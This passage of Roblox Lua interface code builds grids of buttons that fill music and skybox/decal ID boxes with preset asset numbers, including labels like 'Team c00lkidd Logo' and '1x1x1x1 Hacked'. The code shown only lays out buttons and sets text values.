title.Text = "LocalPlayer"
title.TextColor3 = whit
-- Page 3 End --
-- Page 4 --
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Chop Suey"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Chop Suey"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 1846916777
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Electro Sp00k"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Sp00ky Scary Skeletons"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 5038426451
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Scream"
button.Position = UDim2.new(0,0,0,66)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Scream"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 7492297903
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Wonga"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Wonga"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 6061718121
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "1x1x1x1 Music"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 4359494654
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "tubers93"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 8884864842
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,132)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "1x1x1x1 Laughs"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 35935204
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,132)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "1x1x1x1 Hacked"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Music ID"].TextBox.Text = 4808613510
end)
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,165)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,165)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,198)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 3
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = pmi
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,198)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
-- Preset Images --
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Team c00lkidd Logo 1"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Team c00lkidd Logo 1"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Skybox/Decal ID"].TextBox.Text = 158118263
end)
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Team c00lkidd Logo 2"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Team c00lkidd Logo 2"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Skybox/Decal ID"].TextBox.Text = 164661730
end)
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Thomas"
button.Position = UDim2.new(0,0,0,66)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Thomas"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Skybox/Decal ID"].TextBox.Text = 160456772
end)
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "c00lkidd"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "c00lkidd"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Skybox/Decal ID"].TextBox.Text = 157755295
end)
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "team skrubl0rd"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "old team skrubl0rd"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
frame.Settings.Page1["Skybox/Decal ID"].TextBox.Text = 358313209
end)
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,132)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,132)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,165)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,165)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,198)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,198)
button.Size = UDim2.new(0.48,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,231)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--
local button = Instance.new("TextButton")
button.Parent = psd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,231)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
--Settings--
local pge1 = Instance.new("Frame")
pge1.Parent = page
pge1.BorderColor3 = rede
pge1.BackgroundColor3 = blak
pge1.BorderSizePixel = 3
pge1.Name = "Page1"
pge1.Position = UDim2.new(0,0,0,83)
pge1.Size = UDim2.new(1,0,1,-83)
pge1.ZIndex = 1